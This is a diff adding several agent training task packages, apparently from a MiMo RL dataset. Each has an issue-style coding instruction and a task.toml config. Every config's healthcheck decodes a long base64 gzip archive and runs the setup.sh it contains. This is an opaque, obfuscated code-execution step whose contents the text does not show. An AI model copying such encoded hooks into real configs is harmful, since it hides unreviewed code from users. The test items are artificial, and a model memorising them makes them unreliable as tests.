+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFE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vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000677/instruction.md ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ I want a pure `getRoutesForLang(currentLang: string, page: string, isHomepage?: boolean = false)` helper that returns alternate-language route objects for the site's supported languages. It should support exactly English (`en`, label `in english`), Spanish (`es`, label `en español`), and Chinese (`zh`, label `中文`), and it should omit the current language from the returned list.
4
+
5
+ For `getRoutesForLang("en", "why")`, return `[ { "label": "en español", "lang": "es", "path": "/es/why.html" }, { "label": "中文", "lang": "zh", "path": "/zh/why.html" } ]`. For `getRoutesForLang("es", "resources")`, return `[ { "label": "in english", "lang": "en", "path": "/resources.html" }, { "label": "中文", "lang": "zh", "path": "/zh/resources.html" } ]`.
6
+
7
+ For homepage calls, `isHomepage=true` should treat the page as `index`, so `getRoutesForLang("zh", "", true)` returns English and Spanish route objects with paths `/index.html` and `/es/index.html`. The function must be deterministic for the same inputs, must not mutate its arguments, and must not perform filesystem or network side effects.
tasks/format-code-task-000677/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000677"
5
+ description = "I want a pure `getRoutesForLang(currentLang: string, page: string, isHomepage?: boolean = false)` helper…"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "JavaScript"
11
+ domain = "code"
12
+ keywords = ["code", "JavaScript"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000677"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "I want a pure `getRoutesForLang(currentLang: string, page: string, isHomepage?: boolean = false)` helper…"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:2f21ea0c74e39623a76fd9afb9cd8fab1149fbc1ef770a96e2c98e78af7c70ef"
29
+ workdir = "/workspace/repo"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZ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TxsX44vTFl4tupvnaQDNyI9+96T8IrGrx7bP5jgl63yiUIU1HwcF+7dd+7dd+7dd+7dd+7dd+7dd+7dd+7dd+/XnXfwHTG2K6ACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000683/instruction.md ADDED
@@ -0,0 +1,26 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ ## iam-role resource has no way to delete roles via a policy
4
+
5
+ I'm trying to write a Custodian policy that cleans up IAM roles that haven't been used in a long time. The `usage` filter on `iam-role` works well for finding them — e.g.:
6
+
7
+ ```yaml
8
+ policies:
9
+ - name: iam-delete-unused-role
10
+ resource: iam-role
11
+ filters:
12
+ - type: usage
13
+ match-operator: all
14
+ LastAuthenticated: null
15
+ actions:
16
+ - delete
17
+ ```
18
+
19
+ …but when I run this Custodian rejects the policy because `iam-role` doesn't actually have a `delete` action registered. Other IAM resources have actionable lifecycle support, so it's surprising that role deletion isn't there.
20
+
21
+ Could `iam-role` get a `delete` action so unused/stale roles can be cleaned up directly from a policy?
22
+
23
+ A couple of things I'd want the action to handle gracefully, since they come up routinely when sweeping a large account:
24
+
25
+ - Some roles will still be attached to an instance profile and AWS refuses to delete them in that state. The action shouldn't silently pretend it worked, but it also shouldn't be the kind of thing where one stuck role aborts the whole sweep before the other deletable roles are processed.
26
+ - When iterating over a batch, individual roles may have already been removed (e.g. by another process between list and delete) — that case should just be skipped rather than treated as a failure.
tasks/format-code-task-000683/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000683"
5
+ description = "iam-role resource has no way to delete roles via a policy"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Python"
11
+ domain = "code"
12
+ keywords = ["code", "Python"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000683"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "iam-role resource has no way to delete roles via a policy"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:e5596d132e87a4f0d7ee86858e17734e49140ce7c56f0de10dc0179bea486643"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3Qktu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C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000846/instruction.md ADDED
@@ -0,0 +1,34 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ Passing a controller constructor
4
+ In the current system, and if i understand it, to use a custom modal, you have to pass a controller already created :
5
+
6
+ ``` javascript
7
+ app.controler("SomeController", function($scope, close) {
8
+ $scope.dismissModal = function(result) {
9
+ close(result, 200);
10
+ };
11
+ });
12
+ ```
13
+
14
+ ``` javascript
15
+ ModalService.showModal({
16
+ templateUrl: "some/template.html",
17
+ controller: "SomeController"
18
+ });
19
+ ```
20
+
21
+ I can't find a way to do this without changing the code :
22
+
23
+ ``` javascript
24
+ ModalService.showModal({
25
+ templateUrl: "some/template.html",
26
+ controller: function($scope, close) {
27
+ $scope.dismissModal = function(result) {
28
+ close(result, 200);
29
+ };
30
+ }
31
+ });
32
+ ```
33
+
34
+ Do you plan to add this feature ?
tasks/format-code-task-000846/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000846"
5
+ description = "Passing a controller constructor"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "JavaScript"
11
+ domain = "code"
12
+ keywords = ["code", "JavaScript"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000846"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "Passing a controller constructor"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:60d9cc7c42ae3ea86ca75fe0fafd65cead39c04825606f36b731bc5ac1ea9801"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A3EwLgAf0O/0fRthDcCJA7T7eA2AG37n/YNMHl7aS0Y47w5lOyyjRbHbPBZalUzXjOpdq7m/+z/PfcNs2kSl/Tx6P1P/vz/9yNqz/KP9nZ/v6/4fU/29iJEycMFMGT+htWxtSdcqfEzOklbLPKXE1jpMtOflW4HJAW3NBr5lOlH5m6D2vZ0KrunK1tORM2jIteTr9QG3dIF8MHgtDuZIZ1yRqq8AqnjEdS5HEy/6TkXb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Uq+36Iyoh6tbWLnzJxsF9YpHkden7XQO9TirkkMrnKBWI8RMgYFA3veIPtOKcT3E5w/xK2mrvaFTYcfdxnT7THPilygji+vtBU5w1fWJS074fn5//SqE8u3W0RzaBcNMnybVKsk2ii56tENyiFyzXyU8Qn++SzacdcUk3tJsyHbk8Q1/gXe9I6qLlSWbAR0VZqe+Rx89tvE7bxXN1U88V5YAhKW4PPPZ9ASMgjjr4gKP7Lbzo9nFGI3W4qFvjxFLptUi8YKVUcVahLKRwmBwXCVa/HJI5K73675YkCpEcnZLYofv00laslVjU49gctbVIAeOFGYaDAIVA0KN+aE3lVUtma66AFmvM5QdDcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000870/instruction.md ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ I want OCR-assisted matching for figure and table graphics in the full text parser. When I create FullTextProcessorConfig(use_ocr_model=True), load_models(app_config, app_context, fulltext_processor_config) should load the configured OCR model into FullTextModels.ocr_model, and FullTextProcessor(fulltext_models, config).get_semantic_document_for_layout_document(layout_document, context) should use that OCR model as an additional graphic matcher after bounding-box and related-block-text matching.
4
+
5
+ I also want a public OpticalCharacterRecognitionGraphicMatcher(ocr_model, max_resolution=1024) matcher with get_graphic_matches(semantic_graphic_list, candidate_semantic_content_list) so I can use this behavior directly. For a SemanticGraphic whose LayoutGraphic has a non-SVG local_file_path, the matcher should open the image, scale it down to max_resolution before OCR if needed, call ocr_model.predict_single(image).get_text(), and compare each OCR text line to the SemanticLabel text of the candidate SemanticFigure or SemanticTable.
6
+
7
+ For example, OCR text "Figure 1" should match a candidate labeled "Figure 1", and OCR text "Fig 1" should also match "Figure 1". OCR text "Figure 1" should not match a candidate labeled "Figure 2", and OCR text "F 1" should not match "Figure 1". If the OCR output is multiline like "Other\nFigure 1\nMore", the matcher should match using the line containing "Figure 1". Graphics without a local_file_path, and SVG graphics, should not be sent to OCR and should remain unmatched.